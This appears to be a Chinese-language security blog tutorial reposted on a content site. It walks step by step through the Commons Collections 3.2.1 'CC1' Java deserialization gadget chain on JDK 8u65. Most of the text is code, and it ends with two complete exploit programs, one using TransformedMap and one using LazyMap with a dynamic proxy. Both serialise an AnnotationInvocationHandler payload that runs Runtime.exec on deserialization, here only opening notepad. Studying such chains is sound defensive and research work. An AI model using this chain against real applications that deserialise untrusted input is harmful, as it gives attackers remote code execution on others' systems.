当前位置:   article > 正文

java反序列化 cc链1 分析_java反序列化cc1链分析

java反序列化cc1链分析

这里我是跟白日梦组长学习,果然大佬就是大佬,讲的是真好,按他的配置,我们来配置环境

环境搭建

环境:

        java:java8u_65

        commons-collections:3.2.1

这里逛了很多圈,说实在的真的没有看到有人教配环境,这样对我们这种小白来说真的是挺痛苦的事,跟着学跟着打,但是发现自己的没有漏洞,很多大佬是都是默认会配环境的,哎。

环境1

首先是我们要注意java的版本需要是 ,因为一些漏洞后续被修复了

java8u_65下载地址

环境2

因为一些源码是class文件,工具会帮我们自动反编译的,但是我们都知道,这个东西反编译出来的,肯定不方便阅读,所以为了方便我们后续的调试,我们这里将openjdk的源码下过来,把我们需要导入到jdk中

源码下载地址

这里我们解压以后来到src\share\classes下面,将sun文件包括里面的内容复制到jdk的src目录中。

 这里我们来到jdk的目录中,先把src.zip解压,然后将sun粘贴到src目录里面

 

 然后我们来到idea,打开目录结构

这里点开SDK,选择我们需要的jdk,然后选择源路径,把src文件夹添加进去

环境3

这里我们新建项目选择maven

 然后再pom.xmli添加

  1. <dependencies>
  2. <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
  3. <dependency>
  4. <groupId>commons-collections</groupId>
  5. <artifactId>commons-collections</artifactId>
  6. <version>3.2.1</version>
  7. </dependency>
  8. </dependencies>

 下面看过来,这里我们右键pom.xml -> maven然后按下面的来

 然后我们就可以看到这里多了一个target目录,然后下面下载了依赖

链子分析

利用第一阶段

首先入门点在这里,org.apache.commons.collections.Transformer类中,就是在这里面

这里他是一个class文件,但是我们知道反编译class文件出来的代码是不好分析,右上角那里可以帮我们把源代码下载过来。

至于为什么使用Transformer接口,这里我们可以看到下面,这里我们可以理解成一个转换对象的地点,我们传进去的对象都会被转换后在返回,而且它可以接受任何对象。

这里我们选中Transformer,使用快捷键ctrl+alt+b,我们就可以快速查看使用了Transformer接口的类,因为我们知道InvokerTransformer是下一个节点,这里我们直接来到那里

 

这里我们来到InvokerTransformer类中的transform方法,这里我们可以知道,他是利用了反射,下面我们分析一下

  1. input是我们传入的对象
  2. Class cls = input.getClass(); 通过input对象获取字节码文件
  3. //获取input对象中的iMethodName(iParamTypes)方法
  4. //注意:java中方法是可以重名的,只要参数数量不一样就可以
  5. Method method = cls.getMethod(iMethodName, iParamTypes);
  6. //调用了iMethodName方法,参数的值是iArgs
  7. method.invoke(input, iArgs);

然后找到参数的值的位置,这里参数的值,我们可以new的对象的时候附带进去,发现参数值,没有任何过滤,证明我们可以进行恶意代码了。

这里我们可以看看基础恶意代码执行

  1. //但是我们不能以这种方法来进行恶意代码执行,我们这里将他转成反射的形式
  2. Runtime.getRuntime().exec("notepad"); //使用exec方法打开记事本

这里是反射形式的,这里可以看到上面和上面InvokerTransformer类中的transform方法的形式是一样的呢,所以我们按这样将数据传入到里面

  1. // 获取当前运行时对象
  2. Runtime r = Runtime.getRuntime();
  3. // 通过对象获得字节码文件
  4. Class c = r.getClass();
  5. // 获取Class对象中名为"exec",参数为String类型的public方法
  6. Method execm = c.getMethod("exec", String.class);
  7. // 在r对象上调用execm方法,执行"notepad"命令,打开记事本
  8. execm.invoke(r, "notepad");

这里根据我们需要的东西,将值传进去,那么这时候transform方法中就会上面一样执行,然后弹出记事本。

new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"notepad"}).transform(r);

利用第二阶段-TransformedMap

既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发InvokerTransformer的transfrom的类。

这里我们随便找一个transform方法,右键选择查找用法

正常返回应该有21个左右,如果不是

 像我这样设置一下,就可以将读出来了

这里我们看到map软件包,下面基本都是存放map类的,这里看到transformValue类下面checkSetValue方法,通过快捷键F4,直接跳转到他的源代码

这里我们看到,他是触发valueTransformer的transform方法的,而且这是一个受保护的方法,需要在本类触发,这里往上看看。

这里我们往上看到了是这里给valueTransformer赋的值,这个也是一个受保护的方法,我们在看看

这里看到一个静态方法调用TransformedMap,证明我们可以任意控制valueTransformer的值

 这里我们先进行一些尝试

  1. InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
  2. HashMap<Object,Object> hash = new HashMap<>();
  3. //这里我们传进去invokerTransformer对象
  4. //等于到checkSetValue方法的时候,就会触发invokerTransformer.transform(value);
  5. TransformedMap.decorate(hash,null,invokerTransformer);

所以接下来就是想想怎么触发checkSetValue类了,而且还要让里面的值为Runtime的对象。

这里还是右键查看checkSetValue的用法

这里我们看到只有一个用法,这里我们跟过去看看

 这时候有人就比较疑惑了checkSetValue不是protected吗,不是只能本类访问吗,这里我们往上看发现那个类其实就是TransformedMap的父类。

这里我们可以看到,他定义了一个常量,然后可以看到他是重写了一个setValue方法,这个方法,我们知道他原本是给Man的value赋值的。

这里我们本地测试一下,可以看到弹出来记事本了

  1. InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
  2. HashMap<Object,Object> hash = new HashMap<>();
  3. hash.put('a','b');
  4. Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);
  5. //这是Map的一种遍历的方法,通过获取键值对的方法
  6. for (Map.Entry objectObjectEntry : decorate.entrySet()) {
  7. objectObjectEntry.setValue(r);
  8. }

常见疑惑解答:为什么我使用的是Map.Entry对象setValue,为什么会到MapEntry里面setValue方法?

这里分析一小手,首先我们可以知道,他的父类是AbstractMapEntryDecorator类

 这里去这个类看看,这里可以看到他是接口了Map.Entry,所以他要重写里面所有的方法。

因为MapEntry的他子类中的类,所以可以算他覆盖了父类中的该方法,因此最终会调用MapEntry类中覆盖的setValue()方法


然后我们这里Map.Entry对象对应的是TransformedMap类,然后这个上面这个的子类,所以我们调用setValue其实就是调用MapEntry类中的setValue。

利用第三阶段

因为还是没有到readObject对吧,所以我还是要继续往上面爬,这里还是使用查看用法

在这里发现了还真有一个readObject方法

然后再这个方法里面还有一个遍历Map数组的部分,怎么遍历不好,偏偏还是使用键值对的方式遍历,真的就有这么巧吗,但是又两个问题,需要我们下面解决

问题1:那里又一个判断不是空才能进去

问题2:这里setValue方法,是直接给他值了,但是这个值不是我们需要的

这里我们接下来看看memberValues的值我们是否可以任意赋值,这里我们往上看,这里我们看到了它的构造函数,这里我们看到memberValues值,我们是可以控制的

注意:看到左上角,这是一个class,不是public,所以我们不能通过正常的new来获取他,他只能在它的包里面才能访问他,但是我们可以通过反射来调用。

所以按照这种思路,我们开始整理要写的代码

  1. Runtime r = Runtime.getRuntime();
  2. InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"});
  3. HashMap<Object,Object> hash = new HashMap<>();
  4. hash.put('a','b');
  5. Map<Object,Object> decorate = TransformedMap.decorate(hash, null, invokerTransformer);
  6. // 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
  7. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  8. // 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
  9. Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  10. // 相当于提升自己权限,以便可以访问非公共构造函数
  11. constructor.setAccessible(true);
  12. // 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
  13. // 传递Override.class和decorate两个参数给构造函数
  14. Object o = constructor.newInstance(Override.class, decorate);

利用第四阶段

完整的肯定不是这样子的,因为我们上面还有很多问题,

最主要的问题:因为我们是通过Runtime来执行恶意代码的,但是这个类不能序列化的,他没有接那个接口的

解决:通过反射,因为Class对象可以序列化

  1. //相当于Runtime r = Runtime.getRuntimeMet()
  2. Class c = Runtime.class;
  3. Method getRuntimeMet = c.getMethod("getRuntime", null);
  4. Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
  5. //相当于r.exec('notepad')
  6. Method execMet = c.getMethod("exec", String.class);
  7. execMet.invoke(r, "notepad");

然后将其传换成InvokerTransformer类的形式,忘记了可以看上面

  1. //相当于
  2. /*
  3. Class c = Runtime.class;
  4. Method getRuntimeMet = c.getMethod("getRuntime", null);
  5. */
  6. Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
  7. //相当于
  8. //Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
  9. Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
  10. //相当于
  11. /*
  12. Method execMet = c.getMethod("exec", String.class);
  13. execMet.invoke(r, "notepad");
  14. */
  15. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"}).transform(r);

然后按照白日梦组长的代码,我们可以知道这样调用起来是比较麻烦的,学习到了ChainedTransformer类中有一个方法,可以循环调用transform。

这里我们进去看一下,他是会循环调用iTransformers数组中的transform方法

 

 然后iTransformers数组,是我们构造的时候传进去,可以自己控制的。

有的人疑惑,我们为什么只用传入一个Runtime.class就可以了,看看上面的transform方法的代码,他最后都会返回一个对象,然后下次调用transform方法的时候就会使用这个返回的值

  1. Transformer[] transformers = new Transformer[] {
  2. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  3. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  4. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  5. };
  6. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  7. chainedTransformer.transform(Runtime.class);

然后按照这种理解,我们有了第一届exp,但是这样是有错误的,不能执行,我们使用断点查看一下。

  1. public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
  2. Transformer[] transformers = new Transformer[]{
  3. // new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  5. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  6. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  7. };
  8. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  9. HashMap<Object,Object> hash = new HashMap<>();
  10. hash.put("a",'b');
  11. Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
  12. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  13. Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  14. constructor.setAccessible(true);
  15. Object o = constructor.newInstance(Override.class, decorate);
  16. serialize(o); //定义了一个序列化的方法
  17. unserialize("1.bin"); //定义了一个反序列化的方法
  18. }
  19. public static void serialize(Object obj) throws IOException {
  20. ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
  21. out.writeObject(obj);
  22. }
  23. public static void unserialize(String filename) throws IOException, ClassNotFoundException {
  24. ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
  25. out.readObject();
  26. }

 利用第五阶段

关于上面的问题,其实在第三阶段的时候,就提到了两个问题就是AnnotationInvocationHandler.java中的那两个,这里我们设断点调试一下

这里设一个,然后再反序列化的地方也设一个

这里我们看到它上面返回的值是null,这就证明这个判断我们进不去,更别说调用setValue方法了,这里我们分析一下,他是获取memberValue的键值,然后查询memberTypes里面有没有,这个是随便设置的一个键值肯定是没有的。

这里我们分析一下,type的值是Override,就是这里我们传进去

但是说getInstance,是获取它里面的成员方法,Override是没有成员方法的

然后下面memberTypes方法是返回一个Map<String, Class<?>>

 

 解决方法,这里我们发现Override中的Target中有成员方法的

 这里我们修改exp下面这些,那么他就是他查看Target下面有没有value成员方法,肯定是有的。

这里我们继续调试,发现它传给checkSetValue方法的值,不是Runtime,那么肯定是不可以触发恶意代码的。

但是这里我们是不能控制,但是经过和白日梦组长的学习,我知道ConstantTransformer类中的,transformers方法可以帮我们返回Runtime

这里我们看到,接受构造函数中的我们给他的类,然后他的transformers方法,不管他的参数的类型,只返回我们构造的时候给他的类型,好神奇正好需要。

这里给exp中Transformer数组中添加进来new ConstantTransformer(Runtime.class)

当我们触发他的transformers方法时,他就会返回Runtime.class,正好给下面的用,哈哈哈。

 这里我们重新断点调试,发现他运行到ConstantTransformer类中的transformers方法的时候,返回的果然是Runtime

完整exp-TransformedMap

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import java.io.IOException;
  7. import java.io.ObjectInputStream;
  8. import java.io.ObjectOutputStream;
  9. import java.lang.annotation.Target;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.InvocationTargetException;
  12. import java.nio.file.Files;
  13. import java.nio.file.Paths;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class Serialcc {
  17. public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
  18. //定义一系列Transformer对象,组成一个变换链
  19. Transformer[] transformers = new Transformer[]{
  20. //返回Runtime.class
  21. new ConstantTransformer(Runtime.class),
  22. //通过反射调用getRuntime()方法获取Runtime对象
  23. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  24. //通过反射调用invoke()方法
  25. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  26. //通过反射调用exec()方法启动notepad
  27. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  28. };
  29. //将多个Transformer对象组合成一个链
  30. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  31. HashMap<Object,Object> hash = new HashMap<>();
  32. //给HashMap添加一个键值对
  33. hash.put("value",'b');
  34. //使用chainedTransformer装饰HashMap生成新的Map decorate
  35. Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
  36. //通过反射获取AnnotationInvocationHandler类的构造方法
  37. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  38. Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  39. //设置构造方法为可访问的
  40. constructor.setAccessible(true);
  41. //通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象o
  42. Object o = constructor.newInstance(Target.class, decorate);
  43. serialize(o); //定义了一个序列化的方法
  44. unserialize("1.bin"); //定义了一个反序列化的方法
  45. }
  46. public static void serialize(Object obj) throws IOException {
  47. ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
  48. out.writeObject(obj);
  49. }
  50. public static void unserialize(String filename) throws IOException, ClassNotFoundException {
  51. ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
  52. out.readObject();
  53. }
  54. }

利用第二阶段-LazyMap

 既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发InvokerTransformer的transfrom的类。

这里我们随便找一个transform方法,右键选择查找用法

上面我们使用了TransformedMap,但是他不只可以使用这个,这里还可以使用LazyMap类,这里通过F4直接查看

这里的意思就是,检测map中的键值有没有包含我们传入的这个key,如果没有就会进入判断,生成一个value,写进去一个键值对

这里来到上面我们可以看到,这里构造函数,我们可以任意控制factory的值,但是这里是一个受保护的方法,只能本类调用,这里往上看看。

这里我们发现,我们可以通过使用decorate方法,来控制factory的值

这里我们测试一下上面的思路对不对,因为上面的我们已经搞过一条链子了,这里我们就直接使用ChainedTransformer了,这里我们给get方法随便传入一个值,这个hash中肯定是没有key这个键值的,这里我看到了果然是触发了记事本,自己可以试试。

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  6. };
  7. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  8. HashMap<Object,Object> hash = new HashMap<>();
  9. Map decorate = LazyMap.decorate(hash, chainedTransformer);
  10. decorate.get("key");

  利用第三阶段

接下来我们,就要想那里触发了get的这个方法,刚好可以继续触发的那种,这里就不用使用查看用法了,因为有很多用到get方法的类很多,这里我们肯定是无法判断,所以就直接看漏洞点在哪吧。

他所用到还是那个我们所熟悉的AnnotationInvocationHandler类,他的位置在

外部库 -> jdk1.8_65 ->  rt.jar -> sun -> reflect -> annotation -> AnnotationInvocationHandler类

这里看到我们可以看到,他的invoke方法中触发了get方法,往上看看

 在上面我们可以看到,这里memberValues的是可以控制的。

下面注意:看到左上角,这是一个class,不是public,所以我们不能通过正常的new来获取他,他只能在它的包里面才能访问他,但是我们可以通过反射来调用。

然后这里看到他还接口了InvocationHandler,这个是代表动态代理的,接口了这个类就必须重写invoke方法,而且方法会在代理对象的方法被调用时执行,有点php魔术方法的味道了

 利用第四阶段

这里在继续下去之前,我们先重新分析一下他的invoke方法,我们知道因为动态代理的缘故,只要有代理对象的方法被触发,他也会触发。

但是注意这里在使用get方法之前,这里有两个if判断,第一个判断是看我们代理对象触发的方法是不是equals这个不用管啥,也用不到,但是看到第二个判断,他是判断,我们代理对象使用的方法的参数是不是无参,如果不是就输出一个报错,一旦这个报错输出我们就到不了下面了。

接下来我们找一个readObject方法,接手这个对象,然后还是可以触发无参方法的,正好还是AnnotationInvocationHandler这个类,而且memberValues这个值我们可以控制。

 

这里我们整理整理,下面是完整的exp

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import java.io.IOException;
  7. import java.io.ObjectInputStream;
  8. import java.io.ObjectOutputStream;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.InvocationHandler;
  11. import java.lang.reflect.InvocationTargetException;
  12. import java.lang.reflect.Proxy;
  13. import java.nio.file.Files;
  14. import java.nio.file.Paths;
  15. import java.util.HashMap;
  16. import java.util.Map;
  17. public class Cc111 {
  18. public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
  19. //定义一系列Transformer对象,组成一个变换链
  20. Transformer[] transformers = new Transformer[]{
  21. //返回Runtime.class
  22. new ConstantTransformer(Runtime.class),
  23. //通过反射调用getRuntime()方法获取Runtime对象
  24. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  25. //通过反射调用invoke()方法
  26. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  27. //通过反射调用exec()方法启动notepad
  28. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  29. };
  30. //将多个Transformer对象组合成一个链
  31. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  32. HashMap<Object,Object> hash = new HashMap<>();
  33. //使用chainedTransformer装饰HashMap生成新的Map
  34. Map decorate = LazyMap.decorate(hash, chainedTransformer);
  35. //通过反射获取AnnotationInvocationHandler类的构造方法
  36. Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  37. Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
  38. //设置构造方法为可访问的
  39. constructor.setAccessible(true);
  40. //通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象
  41. InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
  42. //创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance
  43. Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);
  44. //再次通过反射创建代理对象
  45. Object o = constructor.newInstance(Override.class, proxyInstance);
  46. serialize(o);
  47. unserialize("1.bin");
  48. }
  49. public static void serialize(Object obj) throws IOException {
  50. ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
  51. out.writeObject(obj);
  52. }
  53. public static void unserialize(String filename) throws IOException, ClassNotFoundException {
  54. ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
  55. out.readObject();
  56. }
  57. }
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/694787
推荐阅读
相关标签
  

闽ICP备14008679号